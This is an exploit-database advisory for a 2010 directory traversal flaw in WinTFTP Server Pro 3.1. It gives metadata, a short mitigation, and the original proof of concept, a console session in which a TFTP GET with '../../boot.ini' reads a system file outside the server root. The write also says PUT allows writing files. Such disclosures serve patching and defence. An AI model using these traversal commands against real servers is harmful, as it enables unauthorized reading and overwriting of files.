WinTFTP Server Pro v3.1 Remote Directory Traversal Vulnerability

vendor:

WinTFTP Pro Server

by:

Pr0T3cT10n

7.5

CVSS

HIGH

Directory Traversal

CWE

Product Name: WinTFTP Pro Server

Affected Version From: 3.1

Affected Version To: 3.1

Patch Exists: NO

Related CWE:

CPE: a:wintftp:wintftp_pro_server:3.1

Metasploit:

Other Scripts:

Platforms Tested: Windows XP

2010

WinTFTP Server Pro v3.1 Remote Directory Traversal Vulnerability

WinTFTP Pro Server is vulnerable to a path traversal vulnerability, which allows an unprivileged attacker to read and write files that they do not have permissions for. The vulnerability can be exploited using the FTP commands GET and PUT.

Mitigation:

Update to a patched version of WinTFTP Pro Server to prevent this vulnerability. Restrict access to the affected server to trusted users only.

Source

Exploit-DB raw data:

#     _             ____  __            __    ___ 
#    (_)____ _   __/ __ \/ /_____  ____/ /  _/_/ |
#   / // __ \ | / / / / / //_/ _ \/ __  /  / / / /
#  / // / / / |/ / /_/ / ,< /  __/ /_/ /  / / / / 
# /_//_/ /_/|___/\____/_/|_|\___/\__,_/  / /_/_/  
#                   Live by the byte     |_/_/  
#
# Members:
#
# Pr0T3cT10n
# -=M.o.B.=-
# TheLeader
# Sro
# Debug
#
# Contact: inv0ked.israel@gmail.com
#
# -----------------------------------
# WinTFTP Pro Server is vulnerable for a path traversal, the following will explain you how to read & write files
# The vulnerability allows an unprivileged attacker to read & write files whom he has no permissions to.
# The vulnerable FTP command are:
# * GET 	- Read 	File
# * PUT 	- Write File
#-----------------------------------
# Vulnerability Title: WinTFTP Server Pro v3.1 Remote Directory Traversal Vulnerability
# Date: 31/10/2010
# Author: Pr0T3cT10n
# Software Link: http://www.wintftp.com
# Affected Version: 3.1
# Tested on Windows XP Hebrew, Service Pack 3
# ISRAEL, NULLBYTE.ORG.IL
###
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Admin>tftp

Transfers files to and from a remote computer running the TFTP service.

TFTP [-i] host [GET | PUT] source [destination]

  -i              Specifies binary image transfer mode (also called
                  octet). In binary image mode the file is moved
                  literally, byte by byte. Use this mode when
                  transferring binary files.
  host            Specifies the local or remote host.
  GET             Transfers the file destination on the remote host to
                  the file source on the local host.
  PUT             Transfers the file source on the local host to
                  the file destination on the remote host.
  source          Specifies the file to transfer.
  destination     Specifies where to transfer the file.


C:\Documents and Settings\Admin>tftp -i 127.0.0.1 GET ../../boot.ini C:\boot.txt

Transfer successful: 211 bytes in 1 second, 211 bytes/s

C:\Documents and Settings\Admin>type c:\boot.txt
[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional"
/noexecute=optin /fastdetect

C:\Documents and Settings\Admin>